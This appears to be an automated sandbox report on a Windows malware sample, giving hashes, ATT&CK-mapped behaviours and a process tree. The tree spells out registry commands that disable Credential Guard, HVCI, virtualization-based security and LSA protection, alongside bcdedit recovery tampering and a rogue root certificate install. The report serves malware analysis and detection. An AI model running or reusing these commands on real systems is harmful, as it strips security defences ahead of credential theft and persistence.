da15473dfd55518b17cc8701a4e1a11dcf8f49341733dd91a2689f9ab807a09e

Analysis

max time kernel
36s
max time network
39s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 06:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
Size 2.8MB
Sample260809-g3ya5ssckd
SHA256 da15473dfd55518b17cc8701a4e1a11dcf8f49341733dd91a2689f9ab807a09e
MD5 ffa5637f2d205dddd11896c98e8d4b9d
SHA1 8833b2c776c50aad95843ecd2d54e33156f7423d
SHA512 4f163f29845bc3edc42174388196781e1d39ace8bbe1f54793c0da679e735c677167d3304d37df4dcf8aef02f51c1b988d21550411ec94b5c8babd176b5484a2
SSDEEP 24576:7vxb/+uUAOWLTITR0qnil4LdJYGtJEmZjyGFslcuRyBlOSC4QdcifR+xb81xRfrq:7vOiTCKqfdJfheGFS2U1dN5OWF8IX5SP
TLSH
T132D5AC13E292A0E1D22E15705672577DEAF17E210B21FBD7AFD4FD602D362D1A23B209
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Detects executables referencing many IR and analysis tools 11 IoCs

resource	yara_rule
behavioral2/memory/1808-10-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c62c-7.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-11-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-15-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-17-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-16-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-19-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-24-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-27-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-36-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/1808-38-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
556	bcdedit.exe
5656	bcdedit.exe
2228	bcdedit.exe

UPX dump on OEP (original entry point) 10 IoCs

resource	yara_rule
behavioral2/memory/1808-10-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-11-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-15-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-17-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-16-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-19-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-24-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-27-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-36-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral2/memory/1808-38-0x0000000000400000-0x000000000071B000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
4716	cmd.exe
6536	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
5740	longdiequdong1.sys
4100	SignGuiPatcher.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	mountvol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 37 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2444	cmd.exe
2796	cmd.exe
692	cmd.exe
4644	cmd.exe
6368	cmd.exe
4552	cmd.exe
5244	cmd.exe
2120	cmd.exe
4796	cmd.exe
4200	cmd.exe
6428	cmd.exe
6560	cmd.exe
4340	cmd.exe
4808	cmd.exe
1652	cmd.exe
544	cmd.exe
1220	cmd.exe
5964	cmd.exe
2540	cmd.exe
3848	cmd.exe
2764	cmd.exe
3380	cmd.exe
4824	cmd.exe
4496	cmd.exe
4512	cmd.exe
2304	cmd.exe
788	cmd.exe
4236	cmd.exe
3372	cmd.exe
5844	cmd.exe
4708	cmd.exe
4432	cmd.exe
1856	cmd.exe
3364	cmd.exe
920	cmd.exe
5548	cmd.exe
1404	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
2720	reg.exe
4260	reg.exe
1916	reg.exe
6448	reg.exe
4272	reg.exe
7024	reg.exe
6464	reg.exe
2800	reg.exe
4528	reg.exe
5716	reg.exe
4348	reg.exe
1592	reg.exe
5280	reg.exe
5788	reg.exe
4760	reg.exe
6652	reg.exe
1300	reg.exe
2760	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4100	SignGuiPatcher.exe
4100	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
804	Process not Found
804	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	4100	SignGuiPatcher.exe
Token: SeDebugPrivilege	4100	SignGuiPatcher.exe
Token: SeShutdownPrivilege	6680	shutdown.exe
Token: SeRemoteShutdownPrivilege	6680	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
924	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 4708	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	90
PID 4708 wrote to memory of 2796	4708	cmd.exe	92
PID 2796 wrote to memory of 6292	2796	cmd.exe	93
PID 1808 wrote to memory of 2764	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	97
PID 2764 wrote to memory of 5716	2764	cmd.exe	99
PID 1808 wrote to memory of 3380	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	100
PID 3380 wrote to memory of 2720	3380	cmd.exe	102
PID 1808 wrote to memory of 4496	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	103
PID 4496 wrote to memory of 4260	4496	cmd.exe	105
PID 1808 wrote to memory of 692	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	106
PID 692 wrote to memory of 7024	692	cmd.exe	108
PID 1808 wrote to memory of 4200	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	109
PID 4200 wrote to memory of 6464	4200	cmd.exe	111
PID 1808 wrote to memory of 4512	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	112
PID 4512 wrote to memory of 1916	4512	cmd.exe	114
PID 1808 wrote to memory of 4644	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	115
PID 4644 wrote to memory of 2800	4644	cmd.exe	117
PID 1808 wrote to memory of 6428	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	118
PID 6428 wrote to memory of 6652	6428	cmd.exe	120
PID 1808 wrote to memory of 6368	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	121
PID 6368 wrote to memory of 1300	6368	cmd.exe	123
PID 1808 wrote to memory of 4552	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	124
PID 4552 wrote to memory of 6448	4552	cmd.exe	126
PID 1808 wrote to memory of 5244	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	127
PID 5244 wrote to memory of 4348	5244	cmd.exe	129
PID 1808 wrote to memory of 544	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	130
PID 544 wrote to memory of 1592	544	cmd.exe	132
PID 1808 wrote to memory of 4432	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	133
PID 4432 wrote to memory of 4272	4432	cmd.exe	135
PID 1808 wrote to memory of 4236	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	136
PID 4236 wrote to memory of 2760	4236	cmd.exe	138
PID 1808 wrote to memory of 1856	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	139
PID 1856 wrote to memory of 5280	1856	cmd.exe	141
PID 1808 wrote to memory of 3364	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	142
PID 3364 wrote to memory of 5788	3364	cmd.exe	144
PID 1808 wrote to memory of 920	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	145
PID 920 wrote to memory of 4528	920	cmd.exe	147
PID 1808 wrote to memory of 3372	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	148
PID 3372 wrote to memory of 4340	3372	cmd.exe	150
PID 1808 wrote to memory of 2120	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	151
PID 2120 wrote to memory of 4824	2120	cmd.exe	153
PID 1808 wrote to memory of 4808	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	154
PID 4808 wrote to memory of 1652	4808	cmd.exe	156
PID 1808 wrote to memory of 2304	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	157
PID 2304 wrote to memory of 5776	2304	cmd.exe	159
PID 1808 wrote to memory of 5548	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	160
PID 5548 wrote to memory of 1220	5548	cmd.exe	162
PID 1808 wrote to memory of 4796	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	163
PID 4796 wrote to memory of 1404	4796	cmd.exe	165
PID 1808 wrote to memory of 2444	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	166
PID 2444 wrote to memory of 6336	2444	cmd.exe	168
PID 1808 wrote to memory of 5964	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	169
PID 5964 wrote to memory of 4760	5964	cmd.exe	171
PID 1808 wrote to memory of 6560	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	172
PID 6560 wrote to memory of 556	6560	cmd.exe	174
PID 1808 wrote to memory of 788	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	175
PID 788 wrote to memory of 5656	788	cmd.exe	177
PID 1808 wrote to memory of 2540	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	178
PID 2540 wrote to memory of 2228	2540	cmd.exe	180
PID 1808 wrote to memory of 4716	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	181
PID 4716 wrote to memory of 6536	4716	cmd.exe	183
PID 1808 wrote to memory of 3848	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	184
PID 3848 wrote to memory of 1600	3848	cmd.exe	186
PID 1808 wrote to memory of 4100	1808	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	187

C:\Users\Admin\AppData\Local\Temp\2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240747953_17453.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240747953_17453.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:6292
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:7024
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:6464
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1916
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6428
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:6652
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6368
